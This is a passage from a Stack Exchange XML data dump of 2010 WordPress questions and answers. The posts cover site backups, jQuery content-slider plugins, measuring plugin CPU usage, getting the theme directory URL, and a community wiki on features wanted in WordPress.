plug-in doesn't work after the upgrade, you can always go back to the back-up you made earlier.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-20T18:31:52.767" CommentCount="6" />
  <row Id="653" PostTypeId="2" ParentId="635" CreationDate="2010-08-20T18:45:28.137" Score="1" ViewCount="" Body="&lt;p&gt;Not a database backup per se, but you can export the contents of your site to a WXR file (XML format) and restore it on another installation. It's a bit simpler, and doesn't require access to your MySQL server or PhpMyAdmin. You do get options for what to export and what to import.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This functionality can be found in &lt;strong&gt;Import&lt;/strong&gt; and &lt;strong&gt;Export&lt;/strong&gt; under the &lt;strong&gt;Tools&lt;/strong&gt; menu in the WP admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has been useful to me when I want to get a dump from my live site and restore it on a local test version.&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2010-08-20T18:45:28.137" />
  <row Id="654" PostTypeId="1" AcceptedAnswerId="669" CreationDate="2010-08-20T20:02:15.563" Score="4" ViewCount="1146" Body="&lt;p&gt;I'm looking for a plugin that will let me easily place a jQuery based (because I want to avoid the hassle of multiple javascript libraries) slider on my site in various places.  I'd like it to be able to handle images as well as html.  I'm aware of the &lt;a href=&quot;http://wordpress.org/extend/plugins/featured-content-gallery/&quot; rel=&quot;nofollow&quot;&gt;Featured Content Gallery&lt;/a&gt; plugin, but I would like to find an alternative (partly because of this &lt;a href=&quot;http://twitter.com/williamsba/status/21427070252&quot; rel=&quot;nofollow&quot;&gt;tweet&lt;/a&gt; by Brad Williams, whose opinion I trust).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, I'd like something that can automatically create a 'slideshow' based on categories, tags, recent posts, etc., but that can also let me manually create a 'slideshow' with whatever post, image, or other content I want to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I'm looking for a WordPress plugin, not just a jQuery plugin.&lt;/p&gt;&#xA;" OwnerUserId="49" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2010-08-20T21:05:09.977" LastActivityDate="2010-08-21T03:46:45.677" Title="What is a good jQuery content slider plugin?" Tags="&lt;plugin-recommendation&gt;&lt;jquery&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="3" />
  <row Id="655" PostTypeId="2" ParentId="651" CreationDate="2010-08-20T20:29:47.210" Score="3" ViewCount="" Body="&lt;p&gt;The one thing I would add to EAMann's answer is that you might want to set up a test version of the site so you can do a mock upgrade without any consequences. Then, if there are any issues, you know them before making any changes, and (hopefully) know how to fix them too. This is not a substitute for backing up often and well, though.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-20T20:29:47.210" CommentCount="2" />
  <row Id="656" PostTypeId="1" AcceptedAnswerId="799" CreationDate="2010-08-20T20:57:17.340" Score="0" ViewCount="202" Body="&lt;p&gt;I have a website who is having a high CPU usage.  The only way I know of it, is the information I get from the support people of the hosting company.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other way for me to become informed of the resource usage done by my website? (specifically the plugins, but not only them)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2010-08-24T08:08:30.257" Title="Is there a way to measure server resource (CPU) usage by WP plugins?" Tags="&lt;optimization&gt;&lt;server&gt;&lt;server-load&gt;" AnswerCount="3" />
  <row Id="657" PostTypeId="2" ParentId="654" CreationDate="2010-08-20T20:57:39.430" Score="0" ViewCount="" Body="&lt;p&gt;I've been very happy with &lt;a href=&quot;http://sorgalla.com/jcarousel/&quot; rel=&quot;nofollow&quot;&gt;jcarousel&lt;/a&gt;. It works well, is easy to use and has some nice features. &lt;/p&gt;&#xA;" OwnerUserId="94" LastActivityDate="2010-08-20T20:57:39.430" CommentCount="1" />
  <row Id="658" PostTypeId="2" ParentId="656" CreationDate="2010-08-20T21:02:29.313" Score="0" ViewCount="" Body="&lt;p&gt;It is extremely difficult / impossible to get the data on CPU usage on different plugins. They are after all just php functions. But because functions get called all over the place when a page is generated it's hard to see what's using how much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you could do is to measure all of php. You could try to disable/ enable plugins. This will give you an indication. But CPU usage can very much depending on content, users etc. &lt;/p&gt;&#xA;" OwnerUserId="94" LastEditorUserId="94" LastEditorDisplayName="" LastEditDate="2010-08-22T08:57:48.957" LastActivityDate="2010-08-22T08:57:48.957" CommentCount="2" />
  <row Id="659" PostTypeId="2" ParentId="617" CreationDate="2010-08-20T21:12:02.647" Score="6" ViewCount="" Body="&lt;p&gt;For the record, I mainly make whole Web sites and plugins, and deploy them. My workflow is very Ruby- and git-heavy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To start out on a new project, I have a shell script which takes care of the whole business of setting up a new vhost and checking out the latest tag of WordPress (from our own git repository, which tracks svn).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic shape of a whole Web site is a git repsotory at wp-content. That contains a Capfile (capistrano's Makefile eqiuivalent) and a YAML configuration file which together take care of deployment ( &lt;a href=&quot;http://github.com/dxw/wp-capistrano&quot; rel=&quot;nofollow&quot;&gt;http://github.com/dxw/wp-capistrano&lt;/a&gt; ). Also inside that repository I add the theme and plugins as git sub-modules (yes, we maintain git repositories for third party plugins too - we like to use the latest version that we've personally tested).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the theme, I have a code-generation tool/framework ( &lt;a href=&quot;http://github.com/dxw/wp-generate&quot; rel=&quot;nofollow&quot;&gt;github.com/dxw/wp-generate&lt;/a&gt; ). It means less thinking about where code should go, and it has a natural method of seperation between the View and the Model/Controller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When writing plugins I use cucumber/webrat to do test-driven development ( &lt;a href=&quot;http://github.com/dxw/cucumber-wordpress&quot; rel=&quot;nofollow&quot;&gt;github.com/dxw/cucumber-wordpress&lt;/a&gt; ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And for migrating development databases to production, it's usually just a case of copying the dump over (WP_SITEURL and WP_HOME are set by capistrano on the staging/production machines so no search/replace).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't imagine how many hours I've saved with these scripts.&lt;/p&gt;&#xA;" OwnerUserId="202" LastEditorUserId="300" LastEditorDisplayName="" LastEditDate="2011-07-08T04:44:06.100" LastActivityDate="2011-07-08T04:44:06.100" CommunityOwnedDate="2010-08-20T21:12:02.647" CommentCount="0" />
  <row Id="660" PostTypeId="2" ParentId="461" CreationDate="2010-08-20T21:39:30.607" Score="2" ViewCount="" Body="&lt;p&gt;Compliance with standards doesn't guarantee your Web site will work in all browsers. Ignore standards compliance and focus on testing with as many browsers as possible.&lt;/p&gt;&#xA;" OwnerUserId="202" LastActivityDate="2010-08-20T21:39:30.607" />
  <row Id="661" PostTypeId="2" ParentId="293" CreationDate="2010-08-20T21:49:37.013" Score="7" ViewCount="" Body="&lt;p&gt;It's a bug: &lt;a href=&quot;http://core.trac.wordpress.org/ticket/11831&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/11831&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="202" LastActivityDate="2010-08-20T21:49:37.013" CommentCount="4" />
  <row Id="662" PostTypeId="1" AcceptedAnswerId="671" CreationDate="2010-08-20T21:50:32.393" Score="2" ViewCount="89" Body="&lt;p&gt;Is there a plugin that logs my usage of plugins on the blog? (when I downloaded a new plugin.  When I activated/deactivated it and so on) ?&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2010-08-21T04:06:00.433" Title="Is there a plugin-log plugin?" Tags="&lt;plugins&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="3" />
  <row Id="663" PostTypeId="2" ParentId="654" CreationDate="2010-08-20T22:48:00.903" Score="3" ViewCount="" Body="&lt;p&gt;I know you said you are looking for a WordPress Plugin but most of the content sliders are very easy to add manually and will be a lot less bloated because you only have to add the features you want to use.  I will give a few options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;JQuery Cycle&lt;/strong&gt; (by far the simplest for images)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use this for images and wrote a short code for it so it can easily be added to posts, pages or widgets.  To use add the div class and shortcodes for the images:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;slideshow&quot;&amp;gt; [slideimage name=name-of-image-uploaded-to-media] [slideimage name=next-image-name] &amp;lt;/div&amp;gt; (This will only work for .jpg's if you want to use .png change the ext to 'png' in the shortcode function&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In footer.php just call the cycle.js you download from &lt;a href=&quot;http://jquery.malsup.com/cycle/download.html&quot; rel=&quot;nofollow&quot;&gt;http://jquery.malsup.com/cycle/download.html&lt;/a&gt;&#xA;and add this between script tags or to your master js &lt;/p&gt;&#xA;&#xA;&lt;p&gt;jQuery(function() {&#xA;    jQuery('.slideshow').cycle();&#xA;});&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function slideimage_shortcode($atts, $content = null) {&#xA;    extract( shortcode_atts( array(&#xA;    'name' =&amp;gt; '',&#xA;    'ext' =&amp;gt; 'jpg',&#xA;    'path' =&amp;gt; '/wp-content/uploads/',&#xA;    'url' =&amp;gt; ''&#xA;    ), $atts ) );&#xA;    $file=ABSPATH.&quot;$path$name.$ext&quot;;&#xA;    if (file_exists($file)) {&#xA;        $size=getimagesize($file);&#xA;        if ($size!==false) $size=$size[3];&#xA;        $output = &quot;&amp;lt;img src='&quot;.get_option('siteurl').&quot;$path$name.$ext'   $size alt='$name' /&amp;gt;&quot;;&#xA;        if ($url) $output = &quot;&amp;lt;a href='$url' title='$name'&amp;gt;&quot;.$output.'&amp;lt;/a&amp;gt;';&#xA;        return $output;&#xA;    }&#xA;    else {&#xA;        trigger_error(&quot;'$path$name.$ext' image not found&quot;, E_USER_WARNING);&#xA;        return '';&#xA;    }&#xA;}&#xA;add_shortcode('slideimage','slideimage_shortcode');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For Sliders that contain posts, HTML, or pretty much anything I use JQuery Tools Scrollable&lt;/strong&gt;&#xA;&lt;a href=&quot;http://flowplayer.org/tools/scrollable/index.html&quot; rel=&quot;nofollow&quot;&gt;http://flowplayer.org/tools/scrollable/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The instructions on the jQuery Tools site are very well written and basically you wrap the slider in a div then the individual posts or items are wrapped in another div inside the main one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to call the plugin js in your footer and add the function to your master js or in script tags: &#xA;jQuery(function() {&#xA;jQuery(&quot;.scrollable&quot;).scrollable({vertical:true,mousewheel:false});&#xA;});&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: Add query post by category to any template file to allow end user to add posts to the slider.&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following code would add any posts in category 8 to the slider:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;slider&quot;&amp;gt;&#xA;  &amp;lt;?php query_posts('post_type=post&amp;amp;order=asc&amp;amp;cat=8'); ?&amp;gt;&#xA;&#xA;        &amp;lt;div id=&quot;actions&quot;&amp;gt;&#xA;    &amp;lt;a class=&quot;prev&quot;&amp;gt;&amp;amp;laquo; Back&amp;lt;/a&amp;gt;&#xA;    &amp;lt;a class=&quot;next&quot;&amp;gt;More &amp;amp;raquo;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;scrollable&quot;&amp;gt;&#xA;   &amp;lt;div class=&quot;items&quot;&amp;gt;&#xA; &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA; &amp;lt;div&amp;gt;&#xA; &amp;lt;?php the_content(); ?&amp;gt;&#xA; &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endwhile;?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To make the whole setup more Plugin like, register and enqueue jquery tools in functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if ( !is_admin() ) { // instruction to only load if it is not the admin area&#xA;   // register your script location, dependencies and version&#xA;   wp_register_script('jquerytools',&#xA;       http://cdn.jquerytools.org/1.2.4/all/jquery.tools.min.js',&#xA;       array('jquery'),&#xA;       '1.4.2' );&#xA;   // enqueue the script&#xA;   wp_enqueue_script('jquerytools');&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now add another function to add the slider configuration:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// add jquery tools configuration to footer&#xA;function add_jquerytools_config() {&#xA;    echo '&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;';&#xA;    echo 'jQuery(document).ready(function($) {';&#xA;        echo '$(&quot;.slider&quot;).scrollable({circular:true}).autoscroll(8000);';&#xA;        echo '$(&quot;.scrollable&quot;).scrollable({vertical:false,mousewheel:false});});';&#xA;    echo '&amp;lt;/script&amp;gt;';&#xA;}&#xA;add_action('wp_footer', 'add_jquerytools_config');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-08-21T00:12:43.307" LastActivityDate="2010-08-21T00:12:43.307" CommunityOwnedDate="2010-08-20T22:48:00.903" CommentCount="5" />
  <row Id="664" PostTypeId="2" ParentId="656" CreationDate="2010-08-20T22:56:28.423" Score="0" ViewCount="" Body="&lt;p&gt;I don't know of a way to do this automatically but if you use SSH you can run the top command and watch it while you were on the website using whatever the plugin does to see if it spikes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also do this in Cpanel but you would have to continually refresh the page.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-08-20T22:56:28.423" />
  <row Id="665" PostTypeId="1" AcceptedAnswerId="667" CreationDate="2010-08-21T00:46:43.133" Score="4" ViewCount="3967" Body="&lt;p&gt;I need to get the URL of my theme directory to reference an image in the theme's image/headers directory. How is this done in PHP?&lt;/p&gt;&#xA;" OwnerUserId="62" LastActivityDate="2011-04-28T00:14:40.327" Title="How do I get the theme URL in PHP?" Tags="&lt;theme-development&gt;" AnswerCount="2" />
  <row Id="666" PostTypeId="2" ParentId="214" CreationDate="2010-08-21T02:36:45.767" Score="0" ViewCount="" Body="&lt;p&gt;this has been discussed and explained here: &lt;a href=&quot;http://nabtron.com/wordpress-update-could-not-copy-file-wp-admincsstheme-editor-dev-css/2714/&quot; rel=&quot;nofollow&quot;&gt;http://nabtron.com/wordpress-update-could-not-copy-file-wp-admincsstheme-editor-dev-css/2714/&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2010-08-21T02:36:45.767" CommentCount="1" />
  <row Id="667" PostTypeId="2" ParentId="665" CreationDate="2010-08-21T03:19:11.697" Score="9" ViewCount="" Body="&lt;p&gt;This function will &lt;em&gt;return&lt;/em&gt; the theme directory URL so you can use it in other functions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_bloginfo('template_directory');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively, this function will &lt;em&gt;echo&lt;/em&gt; the theme directory URL to the browser:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bloginfo('template_directory');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So an example for an image in the themes &lt;code&gt;images/headers&lt;/code&gt; folder would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/images/headers/image.jpg&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-21T03:19:11.697" CommentCount="1" />
  <row Id="668" PostTypeId="1" AcceptedAnswerId="749" CreationDate="2010-08-21T03:20:11.790" Score="11" ViewCount="306" Body="&lt;p&gt;I'm creating a &lt;strong&gt;community wiki&lt;/strong&gt; to ask the following question:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;&lt;strong&gt;What features would you most like to see added to WordPress?&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;This Question Implies a Few Things:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;It should surface the &lt;strong&gt;&lt;em&gt;features enthusiasts want most&lt;/em&gt;&lt;/strong&gt;, not just drive bys from people who can't be bothered to know that the &lt;em&gt;&quot;P&quot;&lt;/em&gt; needs to be capitalized (&lt;em&gt;inside joke. Of course...&lt;/em&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Favor features that benefit the more advanced users&lt;/strong&gt; and especially the &lt;strong&gt;theme and/or plugin developers&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Also &lt;strong&gt;favor APIs&lt;/strong&gt; and &lt;strong&gt;other enablers&lt;/strong&gt; vs. just yet another new UI widget. Examples of this might be a Backup API that many developers could build on top of, or a Twitter API that themers could build on.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Focus on &lt;strong&gt;only the few things you really want most&lt;/strong&gt;, not everything you can think of. Don't let this be a dumping ground for everything you can think of or have ever thought of. When adding a wanted feature ask yourself if you'd prefer to have it or your &lt;em&gt;top 3&lt;/em&gt; features; if not maybe you shouldn't add it. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Give some great details&lt;/strong&gt; including, if appropriate:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A. &lt;strong&gt;Wireframes&lt;/strong&gt; (maybe using &lt;a href=&quot;http://www.balsamiq.com/&quot; rel=&quot;nofollow&quot;&gt;Balsamiq&lt;/a&gt;?), &lt;/p&gt;&#xA;&#xA;&lt;p&gt;B. &lt;strong&gt;API Interfaces&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;C. &lt;strong&gt;Suggested Hooks&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;D. &lt;strong&gt;URL Structures&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E. And more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;F. Even &lt;strong&gt;Source code&lt;/strong&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Significant Features Only&lt;/strong&gt;, please. Don't add something like &lt;em&gt;&quot;I want the admin console to be purple&quot;&lt;/em&gt; or &lt;em&gt;&quot;I really want the admin menu to be on the right.&quot;&lt;/em&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Avoid things that only &lt;a href=&quot;http://automattic.com/&quot; rel=&quot;nofollow&quot;&gt;Automattic&lt;/a&gt; can control&lt;/em&gt;&lt;/strong&gt; like things on WordPress.com!! (not that enthusiasts would care, but...) Better to stick with the things that contributors to an open-source project can affect like code and collaboration.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Rules of This Wiki&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Do not duplicate suggestions&lt;/strong&gt;. It's okay if you do but a moderator may down-vote it and/or delete if possible. In the case a significant duplicate exists but with some good additions we should edit the answer that's duplicating it to include the additions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;More rules will come as needed&lt;/strong&gt;, as we realize they are needed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you have concerns about this related to &lt;a href=&quot;http://wordpress.org/extend/ideas/&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;WordPress Ideas&lt;/em&gt;&lt;/a&gt;, &lt;em&gt;Core Team buy-in&lt;/em&gt; or &lt;em&gt;relationship with WordPress/Automattic&lt;/em&gt;, please see the comments in one of my own &quot;&lt;em&gt;answers&lt;/em&gt;&quot; posted to this question, below. My hope is that this effort &lt;strong&gt;will be entirely positive&lt;/strong&gt; and that everyone including Automattic and the WordPress core team will get huge value from its outcome.&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-22T16:53:04.820" LastActivityDate="2011-06-15T06:59:40.980" CommunityOwnedDate="2010-08-21T03:20:11.790" Title="What Features would you Most Like to See Added to WordPress?" Tags="&lt;plugins&gt;&lt;features&gt;&lt;wiki&gt;" AnswerCount="11" CommentCount="3" FavoriteCount="8" />
  <row Id="669" PostTypeId="2" ParentId="654" CreationDate="2010-08-21T03:46:45.677" Score="0" ViewCount="" Body="&lt;p&gt;I've settled on the &lt;a href=&quot;http://www.slidedeck.com/wordpress/&quot; rel=&quot;nofollow&quot;&gt;SlideDeck&lt;/a&gt; plugin for WordPress for this project.  In short, it's very well put together, looks great, is very flexible, etc. etc.  I'm pretty impressed thus far.  The only drawback is that the free version includes a very small attribution image link, but honestly, it's probably worth the $49 they want for the WP plugin.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-08-21T03:46:45.677" />
  <row Id="670" PostTypeId="2" ParentId="668" CreationDate="2010-08-21T03:49:00.807" Score="3" ViewCount="" Body="&lt;p&gt;So these are my comments regarding potential concerns related to &lt;a href=&quot;http://wordpress.org/extend/ideas/&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;WordPress Ideas&lt;/em&gt;&lt;/a&gt;, &lt;em&gt;Core Team buy-in&lt;/em&gt; or &lt;em&gt;relationship with WordPress/Automattic&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;What About &lt;a href=&quot;http://wordpress.org/extend/ideas/&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;WordPress Ideas&lt;/em&gt;&lt;/a&gt;?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;But wait, isn't there already something like this? Isn't it called &lt;a href=&quot;http://wordpress.org/extend/ideas/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WordPress Ideas&lt;/strong&gt;&lt;/a&gt;? Well &lt;em&gt;true&lt;/em&gt;, except:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;WordPress Ideas&lt;/em&gt; has &lt;strong&gt;ideas from every level of user&lt;/strong&gt; so the enthusiasts' concerns are lost in the chaos.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;WordPress Ideas&lt;/em&gt; &lt;strong&gt;doesn't allow for community moderation&lt;/strong&gt; like StackExchange. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;WordPress Ideas&lt;/em&gt; &lt;strong&gt;doesn't encourage good formatting&lt;/strong&gt; and &lt;strong&gt;doesn't allow for editing&lt;/strong&gt; so when crap is posted it has to remain crap.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;WordPress Ideas&lt;/em&gt; &lt;strong&gt;has been unilaterally pruned of top rated ideas&lt;/strong&gt; in the recent past with no input from and no warning to the community. StackExchange has an audit system we simply can't bypass and StackExchange won't have any incentive to eliminate key contributions&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;WordPress Ideas&lt;/em&gt; &lt;strong&gt;only uses a five star rating system&lt;/strong&gt; that &lt;strong&gt;does not positively or negatively affect a user's reputation&lt;/strong&gt;. StackExchange offers up/down voting that does affect a user's reputation and the latter seems to do a better job at ensuring quality and useful participation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;WordPress Ideas&lt;/em&gt; &lt;strong&gt;requires you to drill down to see the ideas&lt;/strong&gt; and doesn't &lt;strong&gt;provide a holistic view&lt;/strong&gt;. Using StackExchange we can have all of the features listed on the same page(s) and be able to scan both the details without so much work.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;WordPress Ideas&lt;/em&gt; is &lt;strong&gt;controlled by Automattic&lt;/strong&gt;. That's not criticism of Automattic, it's simply a recognition that all entities look out for their own interests, period. But having something that isn't overseen by the vested interests of Automattic could have some real value. (&lt;strong&gt;Jump to the bottom&lt;/strong&gt; for clarification.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Frankly whenever I have posted an idea on &lt;em&gt;WordPress Ideas&lt;/em&gt; I have simply felt like &lt;strong&gt;my idea fell into a black hole&lt;/strong&gt;, never to be heard from again. I want to really interact with these feature ideas and hopefully see some tangible progress come of them.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Lastly I unfortunately have found the core team and frequent contributors on trac and wp-hackers to be &lt;a href=&quot;http://core.trac.wordpress.org/ticket/14513&quot; rel=&quot;nofollow&quot;&gt;less than open to considering feature requests for use-cases&lt;/a&gt; they are not familiar with, at least from me. So I personally want this to be &lt;strong&gt;a place I can post feature ideas&lt;/strong&gt; for the things I think are most important and be able to discuss them without being belittled by someone who won't take the effort to understand the validity of my use-cases. Further if the discussed ideas are sound then I'd like to &lt;strong&gt;get validation from others&lt;/strong&gt;  that I respect and whom &lt;a href=&quot;http://meta.wordpress.stackexchange.com/questions/45/moderator-pro-tempore/46#46&quot;&gt;it appears are developing respect for me&lt;/a&gt; &lt;strong&gt;on the feature ideas themselves&lt;/strong&gt;. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;What about &lt;em&gt;Core Team buy-in&lt;/em&gt;?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;But wait, don't we have to get the core WordPress team's buy-in to discuss this? Well, actually &lt;em&gt;no&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;This doesn't have to be only about features added to core, it could also be &lt;strong&gt;about any features that could potentially be developed as plugins&lt;/strong&gt;, or (&lt;em&gt;practically&lt;/em&gt;) anything else that affects WordPress (&lt;em&gt;except those things only Automattic can control, as previously stated&lt;/em&gt;.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The discussions &lt;strong&gt;could precipitate collaboration&lt;/strong&gt; among users here who are getting to know each other and building respect for each other.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;While the code developed as a result of the features listed here may never make it to &lt;em&gt;core&lt;/em&gt; per se, these &lt;strong&gt;features may be the type that make it to core plugin status&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;By separating out the entry-level end-user wants from the enthusiast/designer/developer needs &lt;strong&gt;we might be able to offer the core team more clarity&lt;/strong&gt; and help them to understand &lt;strong&gt;what the enthusiast/designer/developer community thinks is needed&lt;/strong&gt; in addition to the broader end-user community in WordPress.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;And finally, if we have &lt;strong&gt;a large number of named users with high reputation&lt;/strong&gt; here &lt;strong&gt;agreeing on the need for a given feature&lt;/strong&gt;, especially if we have already implemented it, I think there's a greater likelihood the core team will pay attention than if it is proposed by a single individual in a frustrated manner (&lt;em&gt;which I'll admit I have done once or twice in the past.&lt;/em&gt; :) IOW, I think this mechanism could really help us all.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;This Effort vs. WordPress/Automattic?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;To be clear, I posted this &lt;strong&gt;&lt;em&gt;NOT&lt;/em&gt;&lt;/strong&gt; I repeat &lt;strong&gt;&lt;em&gt;NOT&lt;/em&gt;&lt;/strong&gt; to be antagonistic toward Automattic or the WordPress core team. Instead I simply wanted to use the incredible mechanism that StackExchange provides us to surface the most wanted features, to allow us to discuss and maybe collaborate and to find the most useful features. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, my hope is that this effort &lt;strong&gt;will be entirely positive&lt;/strong&gt; and that everyone including Automattic and the WordPress core team will get huge value from of its outcome. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, I hope this helps.&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2010-08-21T03:54:47.887" LastActivityDate="2010-08-21T03:54:47.887" CommunityOwnedDate="2010-08-21T03:49:00.807" />
